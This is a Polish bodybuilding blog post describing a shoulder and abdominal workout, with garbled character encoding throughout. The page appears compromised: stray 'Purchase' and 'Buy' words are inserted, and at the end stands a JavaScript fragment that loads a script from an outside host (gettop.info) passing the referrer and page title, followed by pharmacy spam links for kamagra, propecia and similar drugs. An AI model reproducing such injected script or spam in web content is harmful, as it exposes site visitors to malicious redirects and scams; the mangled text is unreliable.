Wczorajszy trening barkA?w….

13.08.2011 / Tomasz Lech / Kulturystyka

….wyglAi??daAi?? nastAi??pujAi??co:

MiAi??Ai??nie obrAi??czy barkowej
3 x 8+8-wznosy sztangielek bokiem+przodem
3 x 12 -wyciskanie sztangielek siedzAi??c

4 x 6+6 -wyciskanie sztangi zza i z przed gAi??owy
3 x 12 -wyciskanie na maszynie siedzAi??c

4×10 szrugsy z hantlami

4×10-unoszenie hantlii w opadzie tuAi??owia w przA?d (tylny akton miAi??Ai??ni naramiennych)

MiAi??Ai??nie brzucha Purchase

3×30-spiAi??cia brzucha leA?Ai??c na maszynie

3×30-podciAi??ganie nA?g w zwisie na bramie

MiAi??dzy seriami staraAi??em siAi?? trzymaAi?? przerwAi?? okoAi??o 1 min. MiAi??Ai??nie brzucha przetrenowaAi??em w super serii,normalnie staram siAi?? robiAi?? to w trisecie,czyli 3 Ai??wiczenia jedno po drugim,ale wczoraj nie byAi??o mocy na treningu wiAi??c sobie troszkAi?? pofolgowaAi??em.

Wrzucam dwie fotki z wczorajszego treningu:)

Buy if (document.currentScript) { s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; online shipping quibron-t online purchase xalatan online http://issykkul.univerpress.com/2018/03/17/buy-propecia-tablets-uk/ http://konstanta.rnigmatulin.com/generic-drug-for-robaxin/ http://ministryofhappiness.org/2018/02/coumadin-clinic-winston-salem-nc/ canda pharmasey male enhancement Purchase buy kamagra online next day delivery. Kamagra canada. buy kamagra online with paypal.